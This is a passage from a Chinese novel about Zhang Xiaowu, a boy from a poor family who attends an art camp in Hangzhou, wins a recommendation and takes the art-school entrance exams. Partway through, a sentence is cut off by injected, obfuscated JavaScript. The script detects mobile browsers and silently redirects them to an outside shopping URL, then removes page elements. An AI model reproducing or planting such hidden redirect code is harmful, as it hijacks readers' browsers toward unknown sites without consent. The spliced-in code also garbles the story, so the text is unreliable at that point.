第一张画完了,他看了看,线条太乱,比例失调,头大身子小,像一个小头爸爸的翻版。 “再来。”孙老师说。 第二张,好了一点。第三张,更好了一点。第四张、第五张、第六张……画到第十张的时候,张小五的手已经不是他的手了,它自己在动,铅笔在纸面上飞速地滑动,留下一串串流畅的线条。他不再思考该怎么画,而是凭直觉去画,凭手感去画,凭身体去画。 第十张画完,孙老师走过来,拿起他的速写本,一页一页地翻。 翻完之后,他把速写本还给他,只说了一个字。 “好。” 张小五看着孙老师走远的背影,心里涌起一股热流。一个字的评价,比一千字的夸奖更有分量。 晚上回到宿舍,张小五洗了澡,躺在床上,拿出手机。有两条未读消息。一条是父亲的:“今天怎么样?”一条是母亲的:“小五,妈给你汇了一千块,你注意查收。” 他先回了父亲:“爸,今天很好。老师说我画得好。” 又回了母亲:“妈,收到了。你别太累了。” 发完之后,他把手机放在枕头底下,拿出画本,翻到新的一页,开始画。他画的是今天在画室里看到的一个画面——沈老师站在窗前,逆光,阳光从窗外照进来,把她整个人笼罩在一片金色的光里。她的手里拿着一支画笔,正在给一个学生改画,侧脸专注而温柔。 画完之后,他在纸的右下角写了一行字。 “杭州第二天。沈老师说我画得好。孙老师也说我画得好。我不知道是不是真的,但我会努力配得上这些好。” 他把画本合上,关了灯,闭上眼睛。 黑暗中,林笑的呼噜声又响了起来。这一次张小五没有觉得吵,反而觉得安心。那突突突的声音像一首摇篮曲,带着他从北方的寒冬,穿越到南方的暖春。 他很快就睡着了。 第二天、第三天、第四天,集训营的日子像流水一样过去,快得来不及细想。 每一天都差不多,又每一天都不一样。早上素描,下午色彩,晚上速写,中间穿插着老师的讲解和点评。张小五像一块干透的海绵,拼命地吸收着每一点水分。他画得比别人多,睡得比别人少,吃得比别人快。课间十分钟,别人在聊天、玩手机、吃零食,他在画画。午休一小时,别人在睡觉、打牌、看视频,他在画画。晚上熄灯后,别人都睡了,他还在被窝里打着手电筒画画。 他的手越来越不听使唤了,不是因为生疏,是因为太累了。手指的关节肿了,握笔的时候疼得钻心。他用胶布把手指缠起来,继续画。眼睛干涩发疼,他就滴几滴眼药水,继续画。腰酸背痛,他就站起来画,站着画累了就坐着画,坐着画累了就蹲着画,蹲着画累了就趴着画。 室友们都看不下去了。林笑说:“张小五,你是不是不要命了?”陈默说:“你这样会画废的。”郑远不说话,但每天早上都会在他的桌上放一杯温水。 张小五知道他们在担心他。但他没有办法。他只有七天。七天之后,他就要回到北城,回到那个四十平米的老房子里,回到那个没有专业老师、没有专业画室、没有专业模特的地方。他必须在七天里尽可能多地学,尽可能多地画,尽可能多地吸收。因为他不知道下一次来杭州是什么时候,不知道下一次有专业老师指导是什么时候,不知道下一次用专业颜料画画是什么时候。 他要抓住这七天,像抓住一根救命稻草。 第五天,沈老师在全班面前点评了他的素描。 那是一幅长期作业,画了整整一个上午。画的是《大卫》的眼睛,不是整张脸,只有眼睛。他把那只眼睛放大了,画得比实物大了好几倍,大到整张纸上只有一只眼睛。他用铅笔一层一层地叠加调子,从最深处的瞳孔到最边缘的眼白,每一个微小的明暗变化都不放过。他把那只眼睛画得像一扇窗户,透过它,你能看见大卫的灵魂——那种坚定的、不屈的、直视命运的勇气。 沈老师把画举起来,让全班都看到。 “你们看这只眼睛。”她说,“这不是石膏像的眼睛,这是一个活人的眼睛。它有温度,有感情,有故事。画到这个程度,技巧已经不是最重要的了。最重要的是,这个同学把自己放了进去。他画的不只是大卫,也是他自己。” 全班安静了几秒钟,然后响起了掌声。不是那种礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444018|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌性的、敷衍的掌声,而是真正的、发自内心的、被作品打动的掌声。 张小五坐在椅子上,低着头,耳朵红得像煮熟的虾。他的心跳得很快,快到他能听见自己的血液在耳朵里嗡嗡地响。他想说“谢谢”,但这两个字卡在喉咙里,怎么都说不出来。 他最后什么也没说,只是把那张画从画板上取下来,小心翼翼地放进画筒里。 这是他送给父亲的礼物。 第六天晚上,张小五给父亲打电话。 “爸,集训营快结束了。明天是最后一天,有结业考试。” “考得好吗?”张建国的声音有点紧。 “不知道。我会尽力的。” “尽力就行。”张建国说,“别给自己太大压力。考不上也没关系,咱们再想办法。” 张小五握着手机,指节发白。他知道父亲说“考不上也没关系”是在安慰他,他也知道如果真的考不上,父亲会比他还难过。但他没有戳穿,只是说:“爸,我知道了。你早点睡。” “你也早点睡。” “好。” 电话挂断了。张小五坐在宿舍楼下的台阶上,看着头顶的月亮。杭州的月亮和北城的差不多,都是圆的,都是亮的,都是挂在天上看着地上的人。但杭州的月亮旁边多了一些云,薄薄的,透透的,像一层轻纱,让月亮看起来朦朦胧胧的,像一个在做梦的人。 他拿出画本,画了那个月亮。月亮下面是一个校园,校园里有画室、有宿舍、有食堂、有操场。操场上有一个小小的身影,背着画板,走在月光里。 那个身影是他自己。 他在画的下面写了一行字。 “杭州第六天。明天是最后一天。我会尽力。” 他把画本合上,站起来,走回了宿舍。 第七天,结业考试。 考试的内容是默写——给一个主题,自己构图,自己想象,自己发挥。主题是两个字:“远方”。 张小五看着那两个字,沉默了很久。 远方是什么?是杭州?是美院附中?是那个他从未去过但一直在梦里出现的地方?还是更远的、更模糊的、连梦都没梦到过的未来? 他拿起铅笔,开始画。 他画的是一扇窗。窗户很大,占据了画面的三分之二。窗外是一片广阔的田野,金黄色的,一直延伸到天边。田野的尽头是山,山是蓝色的,一层一层的,最远的那一层几乎和天空融为一体。天空是淡紫色的,有几朵云,云是粉色的,像棉花糖一样柔软。 窗户是开着的。窗台上坐着一个人,是一个男孩,背对着画面,面朝窗外。他的背影很瘦小,肩膀微微前倾,像是在努力地往远处看。他的手里拿着一支铅笔,膝盖上摊着一个画本。 那个男孩是他自己。 他画了三个小时,画到手抽筋,画到眼睛发花,画到整幅画从纸面上浮现出来,像一个真实的世界。当他落下最后一笔的时候,他忽然有一种奇怪的感觉——不是完成一件作品的成就感,而是一种告别的仪式感。他在告别杭州,告别集训营,告别这个给了他七天美好时光的地方。 但他知道,这不是永别。他还会回来的。 交卷的时候,沈老师看了他的画,没有说话。她把画收好,在登记表上写了一个分数。 张小五没有看到那个分数。但他看到沈老师的嘴角弯了一下,弯成一个很浅很浅的弧度。 那就够了。 下午四点,集训营结业仪式。 周老师站在讲台上,念了获得“推荐资格”的学生名单。一共五个人,张小五是其中之一。 他听到自己名字的时候,大脑一片空白。他站起来,走上讲台,从周老师手里接过那张推荐信。推荐信是红色的,烫金的字,上面写着他的名字和“经考核,成绩优秀,特推荐报考中国美术学院附属中等美术学校”。 他握着那张纸,手在发抖。不是因为紧张,是因为激动。他想起了很多事情——想起父亲躺在病床上的样子,想起母亲把老家的房子卖掉的那个下午,想起李老师说“画画不能停”,想起方老师说“我像你这么大的时候家里也很穷”,想起周扬塞给他信封时说的“等你以后当了画家再还”,想起陈雨桐送他的那支毛笔,想起那些无数个在折叠椅上度过的夜晚,想起那些无声的、在黑暗中流淌的眼泪。 所有的这些,都变成了这张纸。 他回到座位上,把推荐信小心翼翼地放进画筒里,和那些画放在一起。 仪式结束后,同学们三三两两地离开了。有人拥抱,有人合影,有人交换联系方式。林笑抱着张小五拍了好几张照片,每一张都笑得见牙不见眼。陈默难得地放下书,和张小五握了握手,说:“美院附中见。”郑远画了一幅速写送给张小五,画的是他画画的背影,下面写着一行字:“给张小五,祝我们都能考上。” 张小五把那张速写夹在画本里,和那些珍贵的画放在一起。 他拖着行李箱,走出校门。走到门口的时候,他停下来,转过身,看了一眼那块木匾——“中国美术学院附属中等美术学校”。 他深深地鞠了一躬。 然后他转过身,走进了暮色里。 火车是晚上八点的。张小五坐在候车室里,手里拿着画本,画着窗外的站台。站台上人来人往,有接站的,有送站的,有拖着行李箱匆匆赶路的,有抱着孩子慢慢走着的。他把这些人都画了下来,画得很潦草,但每一笔都很用力,像是要把杭州的一切都刻进心里。 火车来了。他上了车,找到自己的座位,放好行李箱,坐下来。 火车开动了。窗外的站台开始往后退,然后是铁轨、信号灯、电线杆、田野、房屋、树木。所有的东西都在往后退,快得像电影的快进镜头,一帧一帧地闪过,来不及看清就已经消失在身后。 张小五靠着车窗,看着那些飞速后退的风景。他的手里握着画本,画本里装着这七天的一切——沈老师的微笑,孙老师的“好”,周老师的推荐信,室友们的友谊,还有那些画,那些他拼了命画出来的画。 他闭上眼睛。 他又走进了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。这一次画室里有很多画,墙上挂满了他的作品——金鱼、母亲、父亲、礼物、我的家、希望、新生、拉奥孔、大卫的眼睛、远方。每一幅画都是一段记忆,每一段记忆都是一个脚印,每一个脚印都通向一个更远的地方。 他笑了,笑得眼睛弯弯的,像两个小月牙。 火车在铁轨上轰隆轰隆地响着,带着他和他的画本,带着他的推荐信和他的梦想,带着所有人的善意和祝福,驶向北城,驶向父亲,驶向那个四十平米的老房子。 杭州,再见。 北城,张小五回来了。 23. 归来 张小五回到北城的时候,已经是晚上十一点了。 火车晚点了四十分钟。他在候车室等了很久,画了三幅速写——一个抱着婴儿的年轻妈妈,婴儿在哭,妈妈在哄,脸上的表情又疲惫又温柔;一个穿着军大衣的老头,蜷缩在椅子上睡着了,嘴巴微微张开,露出几颗黄乎乎的牙齿;一个拖着大行李箱的年轻男人,行色匆匆,一边走一边打电话,声音很大,说的是他听不太懂的方言。 他把这些画下来,画得很潦草,但每一笔都很用力,像是在记录一个即将消失的世界。 火车进站的时候,他站起来,背好书包,拉着行李箱,走向检票口。检票员看了他一眼,大概觉得这个瘦小的男孩太奇怪了——一个人,深夜,拉着一个旧行李箱,背着鼓鼓囊囊的书包,眼睛里有一种不属于这个年龄的疲惫和坚定。 他找到自己的车厢,放好行李箱,坐下来。车厢里人不多,稀稀拉拉的,空气中有一种泡面和脚臭混合的味道。他靠着车窗,看着窗外的站台,站台上的灯很亮,照得整个站台像白天一样。几个清洁工在扫地,扫帚在地面上发出沙沙的声音,像秋天的落叶。 火车开了。 他闭上眼睛,很快就睡着了。他太累了,累到连做梦的力气都没有。 再次睁开眼的时候,车窗外已经亮了。他看了看手机,早上六点,还有半个小时就到站了。他去卫生间洗了脸,刷了牙,把头发理了理,对着镜子看了看自己。镜子里的男孩比七天前更瘦了,颧骨更高了,眼窝更深了,但眼睛很亮,亮得像两颗被擦干净的星星。 他笑了。镜子里的他也笑了。 火车准点到站。张小五下了车,走出出站口,一眼就看见了父亲。 张建国站在出站口外面,穿着一件深蓝色的棉袄,围着那条灰色的围巾,手里举着一块纸板,上面用记号笔写着四个大字:“张小五”。字写得歪歪扭扭的,像是小学生写的,但每一笔都很用力,用力到纸板都被戳出了小洞。 张小五看着那块纸板,鼻子一酸,差点哭出来。他深吸一口气,把那股酸意压了下去,拉着行李箱走过去。 “爸,你写这个干嘛?我又不是不认识路。” 张建国把纸板收起来,有点不好意思地笑了一下。“怕你找不到。” “我都多大了,还能找不到?” 张建国没有回答,接过他手里的行李箱,转身往外走。张小五跟在后面,看着父亲的背影。七天了,父亲好像又瘦了一点,背也好像更弯了一点,但脚步很稳,走得不快但很踏实,像一棵虽然被风吹歪了但根还扎得很深的树。 他们走出火车站,坐上了回家的公交车。车上人不多,张小五和父亲并排坐着,中间隔着那个行李箱。窗外的街景一点一点地从陌生变得熟悉——那条他走了无数遍的老街,那个他买了无数次包子的铺子,那棵他画了无数遍的梧桐树。所有的东西都在告诉他:你回来了,你到家了。 “爸,我拿到推荐资格了。”张小五忽然说。 张建国的手抖了一下。“什么推荐资格?” “美院附中的推荐资格。周老师给的,他说有这个推荐信,考上的把握就大很多。” 张建国沉默了几秒钟,然后伸出手,用力地握了握张小五的手。他的手很粗糙,骨节突出,掌心有厚厚的茧,但很暖,暖得像冬天里的一杯热茶。 “好。”他说,声音有点哑,“好。” 回到家,张小五把行李箱打开,把画筒拿出来,把里面所有的画都摊在茶几上。一幅一幅地,从第一天的素描到最后一天的《远方》,整整齐齐地摆了一桌子。 张建国坐在沙发上,一幅一幅地看。他看得很慢,每一幅都要看很久,像是在读一本很厚的书。他看不懂那些专业的技法,分不清素描和速写的区别,更不知道什么是“结构”什么是“明暗”。但他看得懂儿子的心。每一笔,每一划,每一个线条,每一种颜色,都是儿子从心里掏出来的东西。 “小五。”他说。 “嗯。” “你一定能考上。” 张小五看着父亲的眼睛,那双浑浊的、布满血丝的、但依然温暖的眼睛。他用力地点了点头。 “嗯,我也觉得。” 接下来的日子,张小五把自己关在房间里,开始了中考前最后的冲刺。 每天早上五点四十起床,晚上十一点半睡觉,中间除了吃饭和上厕所,几乎不出房间。他把手机调成静音,扔在客厅的沙发上,只有晚上才会看一次,回复父亲和母亲的消息。 他的书桌上堆满了课本、练习册、试卷和教辅书,高得像一座小山。他用不同颜色的便签纸标记不同的科目——红色是数学,黄色是英语,蓝色是物理,绿色是化学,粉色是语文。那些便签纸贴得满墙都是,像一面彩色的旗帜。 他不再画画了。不是不想画,是不能画。时间太紧了,每一分钟都要用在刀刃上。他把画具收进柜子里,把画本压在枕头底下,告诉自己:忍一忍,等考完了,画个够。 但他还是会忍不住。有时候做题做累了,他会拿起铅笔,在草稿纸上画几笔——画窗外的树,画桌上的水杯,画父亲在厨房里忙碌的背影。那些画很潦草,几笔就完成了,像是偷偷摸摸地在做一件不该做的事。但每次画完,他都会觉得轻松一点,像是心里的那根弦被松了松,不再绷得那么紧了。 周扬每隔几天就会来一次,带一堆吃的喝的,放在他家门口,敲三下门,然后跑掉。张小五打开门的时候,只看见一个鼓鼓囊囊的塑料袋和楼梯拐角处一闪而过的背影。 袋子里有时候是面包牛奶,有时候是水果零食,有时候是一盒热气腾腾的饺子,饺子用保鲜膜封着,上面贴着一张便签纸:“刚出锅的,趁热吃。——周扬妈妈” 张小五看着那些便签纸,心里暖暖的。他把每一张都留下来,贴在墙上,和那些彩色的便签纸贴在一起。周扬妈妈的便签纸是白色的,字迹娟秀,和那些花花绿绿的颜色放在一起,像一朵白花盛开在一片彩色的田野里。 陈雨桐也会来,但她不敲门,也不留东西。她只是在楼下站着,有时候站几分钟,有时候站十几分钟,然后离开。张小五有时候会从窗户往下看,看见她穿着那件白色的卫衣,站在老槐树下,仰着头看着他的窗户。他不知道她在看什么,但他会朝她挥挥手,她会笑着也挥挥手,然后转身离开。 有一次,他在窗户上贴了一幅画——画的是一个女孩站在槐树下,仰着头,阳光透过树叶照在她脸上,斑斑驳驳的,像一幅印象派的画。他没有署名,也没有说画的是谁,但第二天,陈雨桐在楼下站了更久,久到他不得不打开窗户喊她:“快回去吧,外面冷!”她才笑着跑开了。 三月初,中考报名。 张小五在报名表上填了“中国美术学院附属中等美术学校”作为第一志愿。填完之后,他看着那行字,心跳得很快。这不是一个梦了,这是一个目标,一个他可以触摸到的、真实的、正在向他靠近的目标。 他把报名表交给班主任刘老师的时候,刘老师看了一眼,点了点头。 “美院附中,好学校。”她说,“你的文化课成绩还要再提一提,特别是英语。去年的分数线是六十五分,你现在的水平在六十到六十五之间,有点危险。” 张小五知道。他的英语一直是短板,像一块拼图缺了一大块,怎么都补不上。他已经把初中三年的英语课本背了两遍,单词卡翻烂了十几套,阅读理解做了上百篇,但成绩就是上不去,卡在六十出头,像一个怎么也打不开的结。 “我会努力的。”他说。 刘老师看着他,沉默了一会儿,从抽屉里拿出一本英语语法书,递给他。“这是我以前用的,你拿去看看。里面的笔记很详细,应该对你有帮助。” 张小五接过那本书,翻开一看,里面密密麻麻地写满了笔记,红色的、蓝色的、黑色的,三种颜色交错在一起,像一幅抽象画。字迹工整而细致,每一个语法点都配有例句和解析,有些地方还画了图表,把复杂的东西变得一目了然。 “刘老师,这是你以前的书?” “嗯,我上大学的时候用的。”刘老师说,“后来一直留着,想着也许有一天能用上。今天就用上了。” 张小五把那本书抱在怀里,像抱着一样非常非常珍贵的东西。 “谢谢刘老师。” 刘老师摆了摆手,低下头继续批改作业。张小五转身走出办公室,走到门口的时候,听见刘老师在身后说了一句:“张小五,你一定能考上。” 他没有回头,但嘴角弯了一下。 三月底,美院附中的招生简章出来了。 专业课加试在四月中旬,考素描、色彩、速写三科,每科满分一百分,三科总分三百分。文化课考试跟中考同步,考语文、数学、英语三科,每科满分一百五十分,三科总分四百五十分。录取的时候,专业课和文化课都要过线,按总分从高到低录取。 张小五把招生简章看了好几遍,把每一个数字都刻在了脑子里。专业课,他有信心。他的素描和速写已经很扎实了,色彩虽然弱一些,但经过杭州集训的打磨,已经有了很大进步。文化课,他还要再冲一冲。数学和语文问题不大,英语是最大的障碍。 他开始每天早上多背半小时英语,晚上多做一套英语卷子。他把所有零碎的时间都用来学英语——刷牙的时候背单词,吃饭的时候看语法,上厕所的时候做阅读理解,连走路的时候都在听英语听力。 张建国看着他这样,心里又疼又急。疼的是儿子太辛苦了,急的是自己帮不上忙。他连二十六个字母都认不全,更别说辅导儿子学英语了。他能做的只有把饭做好,把屋子收拾干净,把电视声音关到最小,不让任何事打扰儿子。 有一天,张小五在做英语阅读理解的时候,碰到了一篇文章,讲的是一个叫斯蒂芬·霍金的物理学家。文章说霍金得了很重的病,全身只有几根手指能动,但他没有放弃,坚持做研究,最后成了世界上最著名的科学家之一。 张小五读完那篇文章,沉默了很久。 他想,霍金全身只有几根手指能动,还能坚持做研究。他四肢健全,身体健康,有什么理由放弃?有什么理由不拼尽全力? 他把那篇文章抄了下来,贴在墙上,和那些便签纸贴在一起。每天早上起来第一眼看到的就是它,每天晚上睡觉前最后一眼看到的也是它。它在提醒他,也在鼓励他:你可以的,你一定能行。 四月初,距离专业课加试还有两个星期。 张小五重新拿出了画具。他把柜子里的颜料、画笔、画纸全部翻出来,一样一样地检查。颜料有的干了,有的快用完了,画笔有几支炸毛了,画纸只剩最后几张。他把还能用的挑出来,不能用的列了一个清单,准备去文具店买。 “爸,我要去买点画具。”他跟父亲说。 “多少钱?” 张小五把清单递过去。张建国看了一眼,从口袋里掏出钱包,把里面的钱全部拿出来,数了数,只有一百多块。 “你先去,不够爸再想办法。” 张小五看着那一百多块钱,心里像针扎一样疼。他知道这是父亲这个月剩下的全部生活费了。父亲每个月只有几百块的低保和母亲寄来的一千块,除去房租、水电、药费,剩下的钱只够吃饭。这一百多块,是父亲从牙缝里省出来的。 “爸,我先用旧的,新的以后再说。” “不行。”张建国的声音忽然大了起来,“你要考试了,画具不能马虎。去买,爸有办法。” 张小五知道父亲的“办法”是什么——去找邻居借,去找亲戚借,去把家里能卖的东西卖掉。他不想让父亲这样,但他也知道,父亲决定的事,他拦不住。 他最后只买了最必需的东西——两支画笔、一盒十二色的水彩颜料、一沓素描纸,一共花了八十多块。他把剩下的钱还给父亲,说:“够了,其他的用旧的就行。” 张建国看着那几张皱巴巴的零钱,嘴唇哆嗦了一下,没有接。“你留着,万一还需要买别的。” 张小五把钱收好,回到房间,开始练画。 他画的是往年美院附中的加试真题。李老师帮他找来了近五年的题目,他把每一道题都练了好几遍。素描考的是石膏像写生,他就一遍一遍地画大卫、维纳斯、伏尔泰。色彩考的是静物写生,他就摆了一组静物——一个陶罐、两个苹果、一个玻璃杯、一块白布——反复地画。速写考的是人物动态,他就让父亲当模特,做各种动作,站着、坐着、蹲着、走着,他把那些动作一一定格在纸上。 他画得比以前更认真了。每一笔都经过深思熟虑,每一种颜色都经过反复调配,每一个动态都经过仔细揣摩。他不再追求数量,而是追求质量。一幅画,画一遍不满意,就画第二遍;第二遍不满意,就画第三遍;第三遍还不满意,就画第四遍。他画到手指肿了,画到眼睛花了,画到那组静物在他脑海里变成了一组活生生的、有呼吸的、有温度的存在。 四月十五日,专业课加试的日子。 张小五提前一天到了杭州。这一次他没有让父亲送,一个人坐火车,一个人找住处,一个人去考场。他住在一个离美院附中不远的小旅馆里,房间很小,只有一张床、一张桌子、一个卫生间,但很干净,价格也便宜,一晚八十块。 他放下行李,去考场踩了点。美院附中的校门还是那个样子,灰白色的石柱,木匾上写着校名。他站在门口,看着那块木匾,心里有一种奇怪的感觉——不是紧张,不是兴奋,是一种类似于回家的感觉。他来过这里,在这里画过画,在这里听过课,在这里拿到过推荐信。这里不是他的学校,但这里认识他。 他在校门口站了很久,然后转身回了旅馆。 晚上,他给父亲打了电话。 “爸,我到杭州了。旅馆很好,离考场很近。” “好。”张建国的声音有点紧,“早点睡,明天好好考。” “好。” 他又给母亲打了电话。 “妈,我到杭州了。” “小五,妈给你求了一个平安符,放在你书包的夹层里了,你找找。”王秀兰的声音有点急,“妈寄过去的时候忘记告诉你了,前两天才想起来。” 张小五愣了一下,翻开 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第二天早上,他六点就醒了。洗漱,吃早饭,检查画具,确认准考证、身份证都带齐了。他把画筒背在肩上,手里提着颜料盒,走出旅馆,走向考场。 四月的杭州,天气很好。阳光明媚但不刺眼,风里带着花香和青草的味道。路边的樱花开了,粉白色的花瓣在风里飘落,像一场无声的雪。张小五走在樱花树下,花瓣落在他的头发上、肩膀上、画筒上,他没有去拍,就那么让它们落着,像是在接受一场祝福。 考场在美院附中的教学楼里。张小五找到自己的考室,走进去,找到自己的画架,把画具摆好。考室里已经有十几个人了,有的在聊天,有的在削铅笔,有的在发呆。他没有跟任何人说话,只是安静地坐在那里,闭着眼睛,深呼吸。 铃声响了。考试开始。 第一场,素描。题目是伏尔泰石膏像写生。张小五看着那个熟悉的头像,心里忽然平静了下来。他画过伏尔泰无数次了,在学校的画室里,在家里的书桌上,在杭州集训的画室里。他熟悉那张脸的每一个细节——卷曲的头发,深邃的眼睛,微微上扬的嘴角,还有那种睿智而嘲讽的表情。 他拿起铅笔,开始画。 这一次他的手很稳。不是那种紧绷的、小心翼翼的稳,而是一种放松的、自信的、胸有成竹的稳。他的铅笔在纸面上滑过,留下一道道流畅的线条,从轮廓到结构,从结构到明暗,从明暗到细节,一步一步地,把那个老人的脸从纸面上唤醒。 三个小时过去了。他画完了。 他退后几步,看着自己的画。画上的伏尔泰像一个活人,眼睛里有光,嘴角有笑,表情里有一种说不清的、超越时空的智慧。他不知道自己画得好不好,但他知道,这是他画得最认真、最用心、最没有遗憾的一幅伏尔泰。 第二场,色彩。题目是静物写生——一个蓝色的花瓶、两个橙色的橘子、一串紫色的葡萄、一块白色的桌布。张小五看着那组静物,脑子里飞快地构想着画面的构图、色调、明暗关系。他把颜料挤在调色盘上,拿起画笔,蘸了水,蘸了颜料,开始在纸上铺色。 他画得很快,但不是那种慌乱的快,而是一种有节奏的、有章法的快。他先用大笔触铺出大色块,确定画面的整体色调,然后用小笔触刻画细节,丰富画面的层次。他把花瓶画成钴蓝色的,用了很多层颜色去叠加,让它在光线下呈现出一种通透的、半透明的质感。他把橘子画成橙黄色的,用了柠檬黄和镉红去调,让它们看起来饱满而多汁。他把葡萄画成紫红色的,用了永固紫和深红去调,让它们看起来一颗一颗的,晶莹剔透。 两个半小时过去了。他画完了。 他看着自己的画,觉得色彩还是不够丰富,过渡还是不够自然,和那些专业的美术生比起来还有差距。但他知道,这已经是他能画出的最好的色彩了。他已经尽力了,剩下的,交给老师去评判。 第三场,速写。题目是人物动态速写——两个模特,一个站着,一个坐着,每隔五分钟换一个姿势。张小五看着那两个模特,手里的铅笔飞速地移动,在纸面上留下一串串流畅的线条。他已经习惯了这种快节奏的作画方式,手比脑子快,铅笔比眼睛快,模特的姿势刚换,他的画面就已经成形了。 一个小时过去了。他画了十几张速写,每一张都抓住了模特的核心动态和基本比例。他把它们整理好,写上名字和考号,交了上去。 考试结束了。 张小五走出考场,站在阳光下,深深地吸了一口气。四月的杭州,空气中有一种甜丝丝的味道,像是樱花,又像是青草。他仰起头,看着蓝得透明的天空,觉得整个人都轻了,像是卸下了一副很重很重的担子。 他拿出手机,给父亲发了一条消息:“爸,考完了。我觉得还行。” 又给母亲发了一条:“妈,考完了。平安符我戴了,没摘。” 然后他收起手机,背着画筒,提着颜料盒,走出了美院附中的校门。走到门口的时候,他停下来,转过身,看了一眼那块木匾。阳光照在上面,那几个字在发光。 “中国美术学院附属中等美术学校。” 他在心里默念了一遍这个名字,然后转过身,走进了人群里。 火车是下午四点的。他还有几个小时的时间。他去了西湖。不是因为想看风景,是因为沈老师说过:“来杭州不去西湖,等于没来。”他想证明自己来过了。 西湖比他想象的要大,要大得多。湖水是绿色的,波光粼粼的,像一块巨大的翡翠。远处的山是青色的,层层叠叠的,像一幅水墨画。湖边的柳树发了新芽,嫩绿的,柔软的,在风里轻轻摇摆。 张小五站在湖边,看着这一切,忽然有一种冲动——他想画。不是那种为了考试、为了比赛、为了任何目的的画画,而是那种纯粹的、发自内心的、不画就难受的画画。 他拿出画本,翻到新的一页,开始画。他画的是西湖——湖水、远山、柳树、游船、断桥、还有桥上来来往往的人。他用的是铅笔,只有黑白灰,但他尽力让那些灰色呈现出不同的层次,让画面有一种水墨画般的韵味。 画完之后,他在纸的右下角写了一行字。 “杭州,西湖。考完试来的。湖很大,天很蓝,柳树很绿。我想考到这里来,画四年的画。” 他把画本合上,抱在怀里,看着远处的断桥。桥上有很多人,有的在拍照,有的在散步,有的在发呆。他忽然想到,也许有一天,他也会成为这些人中的一个,每天走在西湖边,画着这座城市的风景。 那该多好。 他笑了笑,转过身,走向公交站。 火车上,张小五靠着车窗,看着窗外的风景一点一点地从青绿变成灰黄。杭州越来越远,北城越来越近。他的手里握着那个红色的平安符,贴着胸口,温热温热的。 他闭上眼睛,脑海里浮现出考场里的画面——那些安静画画的考生,那些在走廊里走动的监考老师,那些石膏像、静物、模特,还有他自己,坐在画架前,手里握着铅笔,一笔一笔地画着。 24. 等待 从杭州回来的那天晚上,张小五把那幅西湖的画贴在书桌正前方的墙上。每次抬头,他都能看见那片湖水、那些远山、那座断桥。画是黑白的,但在他心里,它是彩色的。湖水的绿,天空的蓝,柳树的青,桃花的粉,所有的颜色都在他的记忆里鲜活着,像一幅永远不会褪色的画。 专业课的成绩要等两个星期才能出来。这两个星期,比等待父亲手术结果的那两个星期还要难熬。 张小五试着不去想,但做不到。每天早上醒来,脑子里第一个念头就是“成绩出来了吗”。他打开手机,翻看美院附中的招生网站,刷新一遍又一遍,每次都是“暂无结果”。他把网站设成了浏览器首页,每天刷新几十次,像一个强迫症患者反复检查门有没有锁好。 “你别刷了,”周扬说,“刷了也不会提前出来。该干嘛干嘛。” 张小五知道他说得对,但他控制不住自己。那种悬在半空中的感觉太折磨人了,像有一根绳子吊在脖子上,不知道什么时候会收紧,不知道什么时候会松开。 他开始用学习来麻痹自己。英语单词背了一遍又一遍,数学题做了一套又一套,语文古诗词默写了一首又一首。他把所有的时间都填满,不留一丝空隙给焦虑。早上五点四十起床,晚上十一点半睡觉,中间除了吃饭和上厕所,全部用来学习。他不给自己发呆的机会,因为一发呆,脑子里就会冒出那个问题——我考上了吗? 张建国看着儿子这样,心里着急,但不知道该怎么劝。他只能在张小五学习的时候,悄悄把一杯热水放在桌上,或者在半夜的时候,轻轻推开门,看看儿子有没有睡着。有时候张小五趴在桌上睡着了,他就把儿子抱到床上,盖上被子,关了灯。张小五太瘦了,轻得像一捆柴,抱在怀里几乎没有重量。 “小五,别太拼了。”有一天吃晚饭的时候,张建国忍不住说。 “我没拼,”张小五夹了一筷子青菜,放进嘴里嚼着,“我就是正常学习。” 张建国看着他,看着他眼睛下面那两团青黑色的阴影,看着他瘦削的、几乎没有肉的脸颊,心里像针扎一样疼。但他没有再说什么,因为他知道,说什么都没有用。儿子已经长大了,有了自己的主意,有了自己的目标,有了自己必须走的路。他拦不住,也不想拦。 四月的最后一天,专业课成绩出来了。 那天是周五,张小五正在上英语课。英语老师姓吴,是一个三十多岁的女人,讲课的时候总是喜欢讲一些跟课堂无关的事情,比如她的猫,比如她周末去了哪里,比如她最近看的一部电视剧。张小五不喜欢她的课,觉得太散了,学不到什么东西。但今天他听得特别认真,不是因为课程有趣,而是因为他需要分散注意力。 他的手机在口袋里震动了一下。 他的心猛地一跳。 他偷偷把手伸进口袋,摸到手机,滑开屏幕。是一条短信,来自美院附中的招生办。 “尊敬的张小五同学:您参加的中国美术学院附属中等美术学校2024年招生专业课加试成绩已公布,请登录招生网站查询。” 张小五盯着那行字,手心冒汗,心脏跳得像要从嗓子眼里蹦出来。他想立刻打开网站查询,但手机流量太慢了,网页一直在加载,转啊转,像一只永远停不下来的陀螺。 “张小五!你在干什么?”吴老师的声音像一盆冰水,浇得他浑身一激灵。 他抬起头,看见吴老师正站在讲台上,双手叉腰,眼睛瞪着他。全班同学都回过头来看他,有的在笑,有的在窃窃私语。 “把手机交上来。”吴老师说。 张小五站起来,走到讲台前,把手机放在讲桌上。他的脸红了,耳朵也红了,但他心里想的不是被老师批评这件事,而是那个还在加载的网页。 下课后,他去办公室找吴老师拿回手机。吴老师教训了他几句,无非是“上课不能玩手机”“要专心听讲”之类的话。张小五一一应了,接过手机,走出办公室,站在走廊里,深吸一口气,打开了那个网页。 这一次,网页加载出来了。 屏幕上是一个表格,上面写着他的考号、姓名、各科成绩和总分。素描:八十九。色彩:八十一。速写:九十。总分:二百六十。 总分二百六十。 张小五看着那个数字,大脑一片空白。他不知道这个分数是高还是低,不知道能不能过线,不知道有没有希望。他站在那里,手握着手机,指节发白,脑子里乱成一锅粥。 “张小五!你站这儿干嘛呢?”周扬不知道从哪里冒出来,拍了拍他的肩膀。 张小五把手机递过去。“专业课成绩出来了。” 